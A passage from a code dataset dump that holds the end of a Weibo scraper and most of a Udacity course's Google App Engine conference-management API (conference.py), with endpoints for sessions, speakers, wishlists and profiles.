f_weibo_id = open(weiboNodes_path, 'w+', encoding='utf-8')\n        for weibo_id in all_weibo_id_list:\n            f_weibo_id.write(weibo_id + '\\n')\n    except Exception as e:\n        print('error:', e.args)\n    finally:\n        f_weibo_id.close()\n        # time_end = time.time()\n        # print('\\n totally cost', time_end - time_start)  # 显示程序运行时间\n","repo_name":"csxwant/WeiboReptile","sub_path":"reptile/get_weibo_content.py","file_name":"get_weibo_content.py","file_ext":"py","file_size_in_byte":9537,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"8650421401","text":"#!/usr/bin/env python\n\n\"\"\"\nconference.py -- Udacity conference server-side Python App Engine API;\n    uses Google Cloud Endpoints\n\n$Id: conference.py,v 1.25 2014/05/24 23:42:19 wesc Exp wesc $\n\nOriginally created by wesc on 2014 apr 21\nModified for Udacity class by Greg Palen, October 2015\n\n\"\"\"\n\n__author__ = 'wesc+api@google.com (Wesley Chun)'\n\n\"\"\"\n\n    This file represents the core functionality of the Conference API.\n    Internal \"private\" methods are all prefixed with an underscore ( _ )\n    to clarify their use.\n\n    For each exposed method/endpoint, an annotation describes the request\n    container expected, the response container to be returned, the path,\n    the Endpoint name, and the HTTP method.\n\n    settings.py contains relevant key informations such as client and api keys.\n\n\"\"\"\n\nfrom datetime import datetime\n\nfrom collections import Counter\n\nimport endpoints\nfrom protorpc import messages\nfrom protorpc import message_types\nfrom protorpc import remote\n\nfrom google.appengine.api import memcache\nfrom google.appengine.api import taskqueue\nfrom google.appengine.ext import ndb\n\nfrom constants import *\nfrom models import *\n\nfrom settings import WEB_CLIENT_ID\nfrom settings import ANDROID_CLIENT_ID\nfrom settings import IOS_CLIENT_ID\nfrom settings import ANDROID_AUDIENCE\n\nfrom utils import getUserId\n\nEMAIL_SCOPE = endpoints.EMAIL_SCOPE\nAPI_EXPLORER_CLIENT_ID = endpoints.API_EXPLORER_CLIENT_ID\nMEMCACHE_ANNOUNCEMENTS_KEY = \"RECENT_ANNOUNCEMENTS\"\nMEMCACHE_SPEAKER_KEY = \"FEATURED_SPEAKER\"\nANNOUNCEMENT_TPL = ('Last chance to attend! The following conferences '\n                    'are nearly sold out: %s')\n\n\n# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n\n\"\"\" Overall API definition required by Cloud Endpoints. \"\"\"\n@endpoints.api(name='conference', version='v1', audiences=[ANDROID_AUDIENCE],\n               allowed_client_ids=[WEB_CLIENT_ID,\n                                   API_EXPLORER_CLIENT_ID,\n                                   ANDROID_CLIENT_ID,\n                                   IOS_CLIENT_ID],\n               scopes=[EMAIL_SCOPE])\n\nclass ConferenceApi(remote.Service):\n    \"\"\" Conference API to facilitate creating and managing Conferences\n        and the Sessions and Speakers associated with them. \"\"\"\n    # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n\n    @endpoints.method(SESSIONS_POST_REQUEST, SessionForm,\n                      path='createSession/{conferenceKey}',\n                      name='createSession',\n                      http_method='POST')\n    def createSession (self, request):\n        \"\"\" Create new Session for a specific Conference. Provide the\n            'websafe' ConferenceKey in the parameter. Returns the newly created\n            Session object\n        \"\"\"\n        return self._createSessionObject(request)\n\n    def _createSessionObject (self, request):\n        \"\"\" This method requires a logged-in user. First, get the user\n            and throw an error if there is no authorized user. \"\"\"\n        user = endpoints.get_current_user()\n        if not user:\n            raise endpoints.UnauthorizedException('Authorization required')\n\n        # Next, validate that a name for the session was passed in\n        if not request.sessionName:\n            raise endpoints.BadRequestException(\n                \"Session name is required\")\n\n        conf = ndb.Key(urlsafe=request.conferenceKey)\n\n        if not conf:\n            raise endpoints.NotFoundException(\n                'No conference found with key: %s' % request.conferenceKey)\n\n        if conf.parent() != ndb.Key(Profile, getUserId(user)):\n            raise endpoints.ForbiddenException(\n                'You must be the conference organizer to be able to create'\n                'sessions for this conference.'\n            )\n\n        # copy SessionForm/ProtoRPC Message into dict\n        data = {field.name: getattr(request, field.name)\n                for field in request.all_fields()}\n        del data['conferenceKey']\n\n        # convert date from strings to Date objects\n        if data['date']:\n            data['date'] = datetime.strptime(data['date'][:10],\n                                             \"%Y-%m-%d\").date()\n\n        if data['startTime']:\n            data['startTime'] = datetime.strptime(\n                data['startTime'], \"%H:%M\").time()\n\n        # generate Conf Key\n        wsck = request.conferenceKey\n        conf_key = ndb.Key(urlsafe=wsck)\n\n        # get the conference entity\n        conf = conf_key.get()\n\n        # if not found, raise an error and abort\n        if not conf:\n            raise endpoints.NotFoundException(\n                'No conference found with key: %s' % wsck)\n\n        # create a unique session ID\n        s_id = Session.allocate_ids(size=1, parent=conf_key)[0]\n\n        # create a key from the ID and save it to the dictionary\n        s_key = ndb.Key(Session, s_id, parent=conf_key)\n        data['key'] = s_key\n\n        # create Session & save to Datastore\n        sess = Session(**data)\n        sess.put()\n\n        \"\"\" add a task to the background queue that will determine if the\n            Speaker for this Session should be the Featured Speaker.\n            NOTE: if there is no Speaker defined for this Session, do not\n            call the task. The endpoint for this is at\n            /tasks/set_featured_speaker \"\"\"\n        if data['speakerKey']:\n            taskqueue.add(params=\n                      {'c_key': wsck}, url='/tasks/set_featured_speaker')\n        return self._copySessionToForm(s_key.get())\n\n    @endpoints.method(SESSIONS_GET_REQUEST, SessionForms,\n                      path='getConferenceSessions/{conferenceKey}',\n                      http_method='GET', name='getConferenceSessions')\n    def getConferenceSessions (self, request):\n        \"\"\" Returns all Sessions associated with a particular Conference.\n            Provide the websafe ConferenceKey for the Conference to retrieve\n            sessions for as the parameter to the request.\n        \"\"\"\n        wsck = request.conferenceKey\n        conf_key = ndb.Key(urlsafe=wsck)\n        confSessions = Session.query(ancestor=conf_key)\n        return SessionForms(\n            items=[self._copySessionToForm(sess)\n                   for sess in confSessions]\n        )\n\n    @endpoints.method(SESSION_BY_TYPE_POST_REQUEST, SessionForms,\n                      path='session/{conferenceKey}/{typeOfSession}',\n                      http_method='POST', name='getConferenceSessionsByType')\n    def getConferenceSessionsByType (self, request):\n        \"\"\" Returns a list of Sessions for a given Conference.\n            Provide the conferenceKey parameter to specify which Conference\n            you want Sessions for, and specify the type of Session desired\n            ('Class', 'Workshop,' etc.) using the typeOfSession parameter.\"\"\"\n\n        \"\"\" first, build the key to the conference based  on the websafe key\n            that was in the request \"\"\"\n        c_key = ndb.Key(urlsafe=request.conferenceKey)\n\n        \"\"\" retrieve the conference. If not found, raise an\n            exception and quit \"\"\"\n        if not c_key.get():\n            raise endpoints.NotFoundException(\n                'No conference found with key: %s' % request.conferenceKey)\n\n        \"\"\" now find all child sessions for this conference with\n            ancestor query that will find all sessions with the selected\n            conference as a parent \"\"\"\n        sessions = Session.query(ancestor=c_key) \\\n            .filter(Session.typeOfSession == request.typeOfSession)\n\n        # return result(s)\n        return SessionForms(\n            items=[self._copySessionToForm(sess) for sess in sessions]\n        )\n\n    \"\"\" Utility method to copy a given Session object to a SessionForm response\n        container. This method is called multiple times for queries that return\n        multiple sessions. The calling method is responsible for aggregating\n        the individual Sessions this method returns into a SessonForms (plural)\n        response object \"\"\"\n    def _copySessionToForm (self, sess):\n        sf = SessionForm()\n        for field in sf.all_fields():\n            if hasattr(sess, field.name):\n                # convert Date to date string; just copy others\n                if field.name.endswith('date'):\n                    setattr(sf, field.name, str(getattr(sess, field.name)))\n                elif field.name == 'startTime':\n                    setattr(sf, field.name, str(getattr(sess, field.name)))\n                else:\n                    setattr(sf, field.name, getattr(sess, field.name))\n            if field.name == 'sessionKey':\n                setattr(sf, field.name, sess.key.urlsafe())\n        sf.check_initialized()\n        return sf\n\n\n\n    @endpoints.method(SESSION_BY_SPEAKER_POST_REQUEST, SessionForms,\n                      path='session_by_speaker/{speaker}', http_method='POST',\n                      name='getSessionsBySpeaker')\n    def getSessionsBySpeaker (self, request):\n        \"\"\" Returns all Sessions that a particular Speaker is speaking at.\n            Provide the websafe key for the Speaker in the request parameter.\n        \"\"\"\n        sessions = Session.query(Session.speakerKey == request.speakerKey)\n\n        return SessionForms(\n            items=[self._copySessionToForm(sess) for sess in sessions]\n        )\n\n    @endpoints.method(SessionQueryForms, SessionForms,\n                      path='querySessions', http_method='POST',\n                      name='querySessions')\n    def querySessions (self, request):\n        \"\"\" Returns all Sessions that match the filters specified in the\n            SessionQueryForms POST body. See source code for details on\n            how to construct and use the filters. \"\"\"\n        sessions = self._sessionQueryFactory(request)\n\n        return SessionForms(\n            items=[self._copySessionToForm(sess) for sess in sessions]\n        )\n\n    @endpoints.method(WISHLIST_REQUEST, BooleanMessage,\n                      path='wishlist', http_method='POST',\n                      name='addSessionToWishlist')\n    def addSessionToWishlist (self, request):\n        \"\"\" Adds a particular Session of a Conference to the current user's\n            'wishlist' of Sessions (which is part of their Profile).\n            In the request body, provide the websafe Session Key for\n            the Session to attach to the Wishlist. A Session can only\n            be added once (no duplicates allowed). \"\"\"\n        return self._addSessionToWishlist(request)\n\n    def _addSessionToWishlist (self, request):\n        # adds a session to a the current user's wish list\n        result = None\n\n        # get the user's profile\n        prof = self._getProfileFromUser()\n\n        # get the key for the session that will be added to the wishlist\n        wssk = request.sessionKey\n\n        # retrieve the session from Datastore\n        sess = ndb.Key(urlsafe=wssk).get()\n\n        \"\"\" if we get no results on the session query, throw an exception.\n            Otherwise, check to see if the session is already in the wish-\n            list and if it is, throw an error preventing a duplicate entry \"\"\"\n        if not sess:\n            raise endpoints.NotFoundException(\n                'No Session found with key: %s' % wssk)\n        if wssk in prof.sessionKeysWishList:\n            raise ConflictException(\n                \"You have already added for this session\")\n\n        \"\"\" If we get here, all is good, so add the session to the user's\n            wish list, which is part of their profile \"\"\"\n        prof.sessionKeysWishList.append(wssk)\n        result = True\n\n        # Save the profile back to Datastore\n        prof.put()\n\n        return BooleanMessage(data=result)\n\n    @endpoints.method(WISHLIST_REQUEST, BooleanMessage,\n                      path='wishlist',\n                      http_method='DELETE', name='removeSessionFromWishlist')\n    def removeSessionFromWishlist (self, request):\n        \"\"\" Removes a specific Session from the current user's wishlist of\n        Sessions. Specify which session to remove by providing the websafe\n        Session Key in the request body. \"\"\"\n        return self._removeSessionFromWishlist(request)\n\n    def _removeSessionFromWishlist (self, request):\n        \"\"\" Takes a session in the request body and if present in the user's\n            wish list, removes it. \"\"\"\n        result = None\n\n        # get the user's profile which contains the wishlist\n        prof = self._getProfileFromUser()\n\n        \"\"\" Now use the websafe key in the request to find and load the\n            session the user wants to remove \"\"\"\n        wssk = request.sessionKey\n        sess = ndb.Key(urlsafe=wssk).get()\n\n        \"\"\" If the session was not found, or if the session was not in the\n            user's wishlist already, return an error \"\"\"\n        if not sess:\n            raise endpoints.NotFoundException(\n                'No Session found with key: %s' % wssk)\n        if wssk in prof.sessionKeysWishList:\n            prof.sessionKeysWishlist.remove(wssk)\n            result = True\n        else:\n            result = False\n\n        \"\"\" If we get to this point, all is good. Now safe the updated\n            profile \"\"\"\n        prof.put()\n        return BooleanMessage(data=result)\n\n    @endpoints.method(message_types.VoidMessage, SessionForms,\n                      http_method='POST', name='getSessionsInWishlist')\n    def getSessionsInWishlist (self, request):\n        \"\"\" Returns a the current user's wishlist of sessions. \"\"\"\n        user = endpoints.get_current_user()\n        if not user:\n            raise endpoints.UnauthorizedException('Authorization required')\n\n        prof = self._getProfileFromUser()\n\n        # Now get the session keys in their wishlist\n        sessions = prof.sessionKeysWishList\n\n        # return the collection of sessions\n        return SessionForms(\n            items=[self._copySessionToForm(ndb.Key(urlsafe=session).get())\n                   for session in sessions]\n        )\n\n    def _sessionQueryFactory (self, request):\n        # Return formatted session query from the submitted filters\n        q = Session.query()\n        inequality_filter, filters = self._formatFilters(request.filters)\n\n        # If exists, sort on inequality filter first\n        if not inequality_filter:\n            q = q.order(Session.name)\n        else:\n            q = q.order(ndb.GenericProperty(inequality_filter))\n            q = q.order(Session.name)\n\n        for filtr in filters:\n            if filtr[\"field\"] in [\"duration\", \"startTime\"]:\n                filtr[\"value\"] = int(filtr[\"value\"])\n            formatted_query = ndb.query.FilterNode(filtr[\"field\"],\n                                                   filtr[\"operator\"],\n                                                   filtr[\"value\"])\n            q = q.filter(formatted_query)\n        return q\n\n    \"\"\"\n        The following method satisfies:\n            Requirement 4.2: Come up with 2 additional queries\n\n        This method searches for sessions based on a combination of both\n        the session time and the session type. Both the time and the type\n        are contained in the body of the POST request.\n\n        The endpoint will return all sessions that match the type of the\n        request AND occur BEFORE the time specified in the request.\n    \"\"\"\n    @endpoints.method(QUERY_POST_REQUEST, SessionForms,\n                      path='sessionsByTypeLessThanTime',\n                      http_method='POST',\n                      name='sessionsByTypeLessThanTime')\n    def sessionsByTypeLessThanTime (self, request):\n        \"\"\" Returns all Sessions (spanning all Conferences) that are of a\n            specified type and that occur strictly before a specified time\n            (strictly meaning NOT \"at or before,\" but just \"before\").\n            In the POST request body, the typeOfSession field should be\n            set to the type of session to search for (e.g. 'workshop,'\n            'lecture,' etc.) and the startTime field should contain a\n            properly formatted Time string ('HH:MM' in 24 hour format).\n        \"\"\"\n        \"\"\" startTime is stored as a string and is in 24-hour HH:MM format\n            so a less-than search will yield the correct results.\n            For this to work, a query with a subsequent filter is needed.\n            First, all sessions (regardless of which conference they are part\n            of) will be queried to find the subset of sessions that match the\n            type defined by the request. From there, that query will be\n            filtered to contain only those sessions that start strictly\n            before the time specified in the request (meaning NOT \"at or\n            before,\" but purely before. So if the request startTime is 19:00:00\n            then a session starting at exactly that time will NOT be returned.\n\n            First build a query for all sessions that match the session type in\n            the request and sort it by typeOfSession \"\"\"\n        matchingSessions = Session.query(\n            Session.typeOfSession == request.typeOfSession).filter(\n            Session.startTime < datetime.strptime(\n                request.startTime, \"%H:%M\").time()\n        )\n\n        \"\"\" Now copy the matching sessions into the SessionForms and return\n            them \"\"\"\n        return SessionForms(\n            items=[self._copySessionToForm(sess)\n                   for sess in matchingSessions]\n        )\n\n    \"\"\"\n        The following method satisfies:\n            Requirement 4.2: Come up with 2 additional queries\n            Requirement 4.4: Student proposes one or more solutions to the\n                problematic query\n\n        This method searches for sessions based on a combination of both\n        the session time and the session type. Both the time and the type\n        are contained in the body of the POST request.\n\n        The endpoint will return all sessions that DO NOT match the session\n        type specified in the request and that occur BEFORE the start time\n        specified in the request.\n    \"\"\"\n    @endpoints.method(QUERY_POST_REQUEST, SessionForms,\n                      path='queryProblem',\n                      http_method='POST',\n                      name='queryProblem')\n    def queryProblem (self, request):\n        \"\"\" Returns all Sessions (across all Conferences) that do NOT match\n            the specified typeOfSession and that DO occur strictly before\n            (not \"at or before\") the specified startTime.\\n\n\n            typeOfSession is a string that identifies the specific type\n            of session to EXCLUDE from the search (e.g. 'workshop,' or\n            'lecture').\\n\n\n            startTime is a string in proper Time format (HH:MM) specified\n            using 24 hour time. \"\"\"\n\n        \"\"\" First, start by getting all of the sessions that do NOT match\n            the type specified in the query. Then, iterate over the results\n            and build a new list that contains only those sessions that start\n            before the specified time.\n\n            First build a query for all sessions that do not match the session\n            type in the request \"\"\"\n        sessionsByType = Session.query(\n            Session.typeOfSession != request.typeOfSession)\n\n        \"\"\" Using the sessions that were retrieved by the query above, set up\n            a new list to contain only those sessions that start before the\n            specified startTime and then iterate over the query results,\n            appending only those sessions that start before the time specified\n            in the request \"\"\"\n        matchingSessions = []\n        for sess in sessionsByType:\n            \"\"\" make sure that there is a valid startTime and that the\n                starTime is less than the specified time \"\"\"\n            if sess.startTime and (sess.startTime < datetime.strptime(\n                    request.startTime, \"%H:%M\").time()):\n                matchingSessions.append(sess)\n\n        \"\"\" Now copy the matching sessions into the SessionForms and return\n            them \"\"\"\n        return SessionForms(\n            items=[self._copySessionToForm(sess)\n                   for sess in matchingSessions]\n        )\n\n# - - - Speaker objects - - - - - - - - - - - - - - - - -\n\n    @endpoints.method(SpeakerForm, SpeakerForm, path='speaker',\n                      http_method='POST', name='addSpeaker')\n    def addSpeaker (self, request):\n        # Create a new speaker\n        return self._createSpeakerObject(request)\n\n    def _createSpeakerObject (self, request):\n        \"\"\" Creates a new Speaker in the system and returns the newly created\n            Speaker object as evidence of success. \"\"\"\n        user = endpoints.get_current_user()\n        if not user:\n            raise endpoints.UnauthorizedException('Authorization required')\n\n        \"\"\" If we got here, the user is authorized. Now confirm that they\n            have a Display Name set in their profile \"\"\"\n        if not request.displayName:\n            raise endpoints.BadRequestException(\n                \"Speaker 'displayName' field required\")\n\n        # Set up a dictionary containing the speaker object fields\n        data = {field.name: getattr(request, field.name)\n                for field in request.all_fields()}\n\n        # don't use the websafekey - it's not part of the speaker\n        del data['websafeKey']\n\n        # generate a unique ID as a key for this speaker\n        sp_id = Speaker.allocate_ids(size=1)[0]\n        sp_key = ndb.Key(Speaker, sp_id)\n\n        # now save the new key to the dictionary\n        data['key'] = sp_key\n        del data['profileKey']\n\n        \"\"\" create the Speaker object, passing in the dictionary to the\n            constructor. The returned object will be the new Speaker object\n            with the relevant fields filled in. \"\"\"\n        sp = Speaker(**data)\n\n        # Save the speaker to Datastore\n        sp.put()\n        return self._copySpeakerToForm(sp)\n\n    def _copySpeakerToForm (self, speaker):\n        # Copy relevant fields from Speaker to SpeakerForm\n        sf = SpeakerForm()\n        for field in sf.all_fields():\n            if hasattr(speaker, field.name):\n                setattr(sf, field.name, getattr(speaker, field.name))\n            elif field.name == \"websafeKey\":\n                setattr(sf, field.name, speaker.key.urlsafe())\n        sf.check_initialized()\n        return sf\n\n    @endpoints.method(GET_FEATURED_SPEAKER_REQUEST, FeaturedSpeakerData,\n                      path='getFeaturedSpeaker/{conf_key}',\n                      http_method='GET', name='getFeaturedSpeaker')\n    def getFeaturedSpeaker (self, request):\n        \"\"\" Returns information about the Featured Speaker for a particular\n            Conference. In the request, specify the Conference for which\n            the Featured Speaker information is desired.\\n\n\n            If a Featured Speaker is set for the specified Conference, this\n            will return a FeaturedSpeakerData object that contains a field\n            for the Speaker key (uniquely identifies the Speaker in the system)\n            and a list of Session Names that the Speaker is speaking at.\\n\n\n            THe \"Featured Speaker\" is defined as the Speaker at a Conference\n            who is speaking at the most Sessions. If there are multiple\n            Speakers that are \"tied\" for the most Sessions, an arbitrary\n            Speaker is chosen from the Speakers in the tie.\\n\n\n             See _setFeaturedSpeaker() in the source code for more details.\"\"\"\n        featuredSpeakerMessage = memcache.get(\n            MEMCACHE_SPEAKER_KEY + request.conf_key)\n        return FeaturedSpeakerData(\n            speakerKey=featuredSpeakerMessage['key'],\n            items=[self._copySpeakerSessionToForm(sess)\n                   for sess in featuredSpeakerMessage['sessionName']])\n\n\n    def _copySpeakerSessionToForm (self, sess):\n        sf = FeaturedSpeakerSession()\n        # Copy relevant fields from Speaker to SpeakerForm\n        sf.sessionName = sess\n        sf.check_initialized()\n        return sf\n\n    @endpoints.method(message_types.VoidMessage, SpeakerForms,\n                      path='speakers',\n                      http_method='GET', name='getAllSpeakers')\n    def getAllSpeakers (self, request):\n        \"\"\" Returns a list of all the Speakers that are in the system. \"\"\"\n        speakers = Speaker.query()\n        return SpeakerForms(items=[self._copySpeakerToForm(speaker)\n                                   for speaker in speakers])\n\n# - - - Conference objects - - - - - - - - - - - - - - - - -\n    def _copyConferenceToForm (self, conf, displayName):\n        # Copy relevant fields from Conference to ConferenceForm.\n        cf = ConferenceForm()\n        for field in cf.all_fields():\n            if hasattr(conf, field.name):\n                \"\"\" convert Date to date string; just copy others \"\"\"\n                if field.name.endswith('Date'):\n                    setattr(cf, field.name, str(getattr(conf, field.name)))\n                else:\n                    setattr(cf, field.name, getattr(conf, field.name))\n            elif field.name == \"websafeKey\":\n                setattr(cf, field.name, conf.key.urlsafe())\n        if displayName:\n            setattr(cf, 'organizerDisplayName', displayName)\n        cf.check_initialized()\n        return cf\n\n    def _createConferenceObject (self, request):\n        \"\"\" Create or update Conference object,\n            returning ConferenceForm/request.\"\"\"\n\n        \"\"\" Check that there is a currently logged-in user (authorized) and\n            if not, raise an exception. \"\"\"\n        user = endpoints.get_current_user()\n        if not user:\n            raise endpoints.UnauthorizedException('Authorization required')\n        user_id = getUserId(user)\n\n        \"\"\" The 'name' field of the Conference object is a required field.\n            Here, we check to make sure that the data passed in does include\n            a filled-in name field. Raise an exception if it's blank. \"\"\"\n        if not request.name:\n            raise endpoints.BadRequestException(\n                \"Conference 'name' field required\")\n\n        # copy ConferenceForm/ProtoRPC Message into dict\n        data = {field.name: getattr(request, field.name)\n                for field in request.all_fields()}\n        del data['websafeKey']\n        del data['organizerDisplayName']\n\n        \"\"\" add default values for those missing\n            (both data model & outbound Message) \"\"\"\n        for df in DEFAULTS:\n            if data[df] in (None, []):\n                data[df] = DEFAULTS[df]\n                setattr(request, df, DEFAULTS[df])\n\n        \"\"\" convert dates from strings to Date objects;\n             set month based on start_date \"\"\"\n        if data['startDate']:\n            data['startDate'] = datetime.strptime(data['startDate'][:10],\n                                                  \"%Y-%m-%d\").date()\n            data['month'] = data['startDate'].month\n        else:\n            data['month'] = 0\n        if data['endDate']:\n            data['endDate'] = datetime.strptime(data['endDate'][:10],\n                                                \"%Y-%m-%d\").date()\n\n        # set seatsAvailable to be same as maxAttendees on creation\n        if data[\"maxAttendees\"] > 0:\n            data[\"seatsAvailable\"] = data[\"maxAttendees\"]\n\n        # get Profile Key based on user ID\n        p_key = ndb.Key(Profile, user_id)\n\n        \"\"\" generate a unique conference ID with the profile\n            as the ancestor \"\"\"\n        c_id = Conference.allocate_ids(size=1, parent=p_key)[0]\n\n        # generate the conference key with the ancestor profile\n        c_key = ndb.Key(Conference, c_id, parent=p_key)\n\n        # store the key and the organizer ID in the dictionary\n        data['key'] = c_key\n        data['organizerUserId'] = request.organizerUserId = user_id\n\n        # Save the Conference to Datastore\n        Conference(**data).put()\n\n        \"\"\" Now send email to organizer confirming\n            creation of Conference & return (modified) ConferenceForm \"\"\"\n        taskqueue.add(params={'email': user.email(),\n                              'conferenceInfo': repr(request)},\n                      url='/tasks/send_confirmation_email'\n                      )\n        return request\n\n    @ndb.transactional()\n    def _updateConferenceObject (self, request):\n        # This method updates an existing conference\n        user = endpoints.get_current_user()\n        if not user:\n            raise endpoints.UnauthorizedException('Authorization required')\n        user_id = getUserId(user)\n\n        # update existing conference\n        conf = ndb.Key(urlsafe=request.websafeConferenceKey).get()\n\n        # check that conference exists\n        if not conf:\n            raise endpoints.NotFoundException(\n                'No conference found with key: %s' %\n                request.websafeConferenceKey)\n\n        # check that user is owner\n        if user_id != conf.organizerUserId:\n            raise endpoints.ForbiddenException(\n                'Only the owner can update the conference.')\n\n        \"\"\" Not getting all the fields, so don't create a new object; just\n            copy relevant fields from ConferenceForm to Conference object \"\"\"\n        for field in request.all_fields():\n            data = getattr(request, field.name)\n            # only copy fields where we get data\n            if data not in (None, []):\n                # special handling for dates (convert string to Date)\n                if field.name in ('startDate', 'endDate'):\n                    data = datetime.strptime(data, \"%Y-%m-%d\").date()\n                    if field.name == 'startDate':\n                        conf.month = data.month\n                # write to Conference object\n                setattr(conf, field.name, data)\n\n        # save Conference to Datastore\n        conf.put()\n        prof = ndb.Key(Profile, user_id).get()\n        return self._copyConferenceToForm(conf, getattr(prof, 'displayName'))\n\n    @endpoints.method(ConferenceForm, ConferenceForm,\n                      path='conference', http_method='POST',\n                      name='createConference')\n    def createConference (self, request):\n        \"\"\" Create a new Conference in the system. \"\"\"\n        return self._createConferenceObject(request)\n\n    @endpoints.method(CONF_POST_REQUEST, ConferenceForm,\n                      path='conference/{websafeConferenceKey}',\n                      http_method='PUT', name='updateConference')\n    def updateConference (self, request):\n        \"\"\" Updates an existing Conference (as identified by the\n            websafeConferenceKey parameter) with the data provided in the\n            request body. Returns the udpated Conference object. \"\"\"\n        return self._updateConferenceObject(request)\n\n    @endpoints.method(CONF_GET_REQUEST, ConferenceForm,\n                      path='conference/{websafeConferenceKey}',\n                      http_method='GET', name='getConference')\n    def getConference (self, request):\n        \"\"\" Returns the Conference object identified by the\n            websafeConferenceKey parameter or an exception if the specified\n            Conference key does not exist. \"\"\"\n        conf = ndb.Key(urlsafe=request.websafeConferenceKey).get()\n        if not conf:\n            raise endpoints.NotFoundException(\n                'No conference found with key: %s' %\n                request.websafeConferenceKey)\n        prof = conf.key.parent().get()\n\n        # return ConferenceForm\n        return self._copyConferenceToForm(conf, getattr(prof, 'displayName'))\n\n    @endpoints.method(message_types.VoidMessage, ConferenceForms,\n                      path='getConferencesCreated',\n                      http_method='POST', name='getConferencesCreated')\n    def getConferencesCreated (self, request):\n        \"\"\" Return a list of all Conferences that the current user has\n            created/organized. \"\"\"\n        user = endpoints.get_current_user()\n        if not user:\n            raise endpoints.UnauthorizedException('Authorization required')\n        user_id = getUserId(user)\n\n        # create ancestor query for all key matches for this user#\n        confs = Conference.query(ancestor=ndb.Key(Profile, user_id))\n        prof = ndb.Key(Profile, user_id).get()\n\n        # return set of ConferenceForm objects per Conference\n        return ConferenceForms(\n            items=[self._copyConferenceToForm(\n                conf, getattr(prof, 'displayName')) for conf in confs]\n        )\n\n    def _getQuery (self, request):\n        # Return formatted query from the submitted filters\n        q = Conference.query()\n        inequality_filter, filters = self._formatFilters(request.filters)\n\n        # If exists, sort on inequality filter first\n        if not inequality_filter:\n            q = q.order(Conference.name)\n        else:\n            q = q.order(ndb.GenericProperty(inequality_filter))\n            q = q.order(Conference.name)\n\n        for filtr in filters:\n            if filtr[\"field\"] in [\"month\", \"maxAttendees\"]:\n                filtr[\"value\"] = int(filtr[\"value\"])\n            formatted_query = ndb.query.FilterNode(\n                filtr[\"field\"], filtr[\"operator\"], filtr[\"value\"])\n            q = q.filter(formatted_query)\n        return q\n\n    def _formatFilters (self, filters):\n        # Parse, check validity and format user supplied filters\n        formatted_filters = []\n        inequality_field = None\n\n        \"\"\" loop through the filters that were provided and make sure that\n            each in the dictionary is actually a valid filter identifier.\n            See Constants.py for the list of defined filters \"\"\"\n        for f in filters:\n            filtr = {field.name: getattr(f, field.name)\n                     for field in f.all_fields()}\n\n            try:\n                filtr[\"field\"] = FIELDS[filtr[\"field\"]]\n                filtr[\"operator\"] = OPERATORS[filtr[\"operator\"]]\n            except KeyError:\n                raise endpoints.BadRequestException(\n                    \"Filter contains invalid field or operator.\")\n\n            # Every operation except \"=\" is an inequality\n            if filtr[\"operator\"] != \"=\":\n                \"\"\" check  if inequality op has been used in previous filters\n                    disallow filter if inequality was performed\n                        on different field before\n                    track the field on which the inequality\n                      operation is performed \"\"\"\n                if inequality_field and inequality_field != filtr[\"field\"]:\n                    raise endpoints.BadRequestException(\n                        \"Inequality filter is allowed on only one field.\")\n                else:\n                    inequality_field = filtr[\"field\"]\n\n            formatted_filters.append(filtr)\n        return (inequality_field, formatted_filters)\n\n    @endpoints.method(ConferenceQueryForms, ConferenceForms,\n                      path='queryConferences', http_method='POST',\n                      name='queryConferences')\n    def queryConferences (self, request):\n        \"\"\" Returns a list of Conferences that satisfy the query specifications\n            provided by the request body. See the source code for specifics\n            on how to specify the query terms. \"\"\"\n        conferences = self._getQuery(request)\n\n        \"\"\" need to fetch organiser displayName from profiles.\n            Get all keys and use get_multi for speed \"\"\"\n        organisers = [(ndb.Key(Profile, conf.organizerUserId))\n                      for conf in conferences]\n        profiles = ndb.get_multi(organisers)\n\n        # put display names in a dict for easier fetching\n        names = {}\n        for profile in profiles:\n            names[profile.key.id()] = profile.displayName\n\n        # copy conference objects to form that can return multiple confs\n        return ConferenceForms(\n            items=[self._copyConferenceToForm(\n                conf, names[conf.organizerUserId])\n                   for conf in conferences]\n        )\n\n# - - - Profile objects - - - - - - - - - - - - - - - - - - -\n\n    def _copyProfileToForm (self, prof):\n        \"\"\" Copy relevant fields from Profile to ProfileForm.\n            Create a new, blank profile form to populate \"\"\"\n        pf = ProfileForm()\n        for field in pf.all_fields():\n            \"\"\" loop through the fields of the form and populate them with\n                data from the request \"\"\"\n            if hasattr(prof, field.name):\n                # convert t-shirt string to Enum; just copy others\n                if field.name == 'teeShirtSize':\n                    setattr(pf, field.name, getattr(\n                        TeeShirtSize, getattr(prof, field.name)))\n                else:\n                    setattr(pf, field.name, getattr(prof, field.name))\n        pf.check_initialized()\n        return pf\n\n    def _getProfileFromUser (self):\n        \"\"\" Return user Profile from datastore,\n            creating new one if non-existent.\n            Verify a logged-in user (auth) and return an error if not \"\"\"\n        user = endpoints.get_current_user()\n        if not user:\n            raise endpoints.UnauthorizedException('Authorization required')\n\n        # get the user's Profile based on their user ID\n        user_id = getUserId(user)\n        p_key = ndb.Key(Profile, user_id)\n        profile = p_key.get()\n\n        # create new Profile if one was not retrieved by the above query\n        if not profile:\n            profile = Profile(\n                key=p_key,\n                displayName=user.nickname(),\n                mainEmail=user.email(),\n                teeShirtSize=str(TeeShirtSize.NOT_SPECIFIED),\n            )\n            profile.put()\n\n        # return the profile fully populated\n        return profile\n\n    def _doProfile (self, save_request=None):\n        \"\"\" Get user Profile and return to user, possibly updating it first.\n            Get user Profile \"\"\"\n        prof = self._getProfileFromUser()\n\n        \"\"\" if this request is to save an udpated profile, then store the\n            user-modifiable data into the existing fields and then save\n            the profile back to Datastore \"\"\"\n        if save_request:\n            for field in ('displayName', 'teeShirtSize'):\n                if hasattr(save_request, field):\n                    val = getattr(save_request, field)\n                    if val:\n                        setattr(prof, field, str(val))\n            prof.put()\n\n        # return ProfileForm\n        return self._copyProfileToForm(prof)\n\n    @endpoints.method(message_types.VoidMessage, ProfileForm,\n                      path='profile', http_method='GET', name='getProfile')\n    def getProfile (self, request):\n        \"\"\" Returns the Profile of the current user. \"\"\"\n        return self._doProfile()\n\n    @endpoints.method(ProfileMiniForm, ProfileForm,\n                      path='profile', http_method='POST', name='saveProfile')\n    def saveProfile (self, request):\n        \"\"\" Updates the Profile of the current user with the data provided\n            in the request body. \"\"\"\n        return self._doProfile(request)\n\n# - - - Announcements - - - - - - - - - - - - - - - - - - - -\n\n    @staticmethod\n   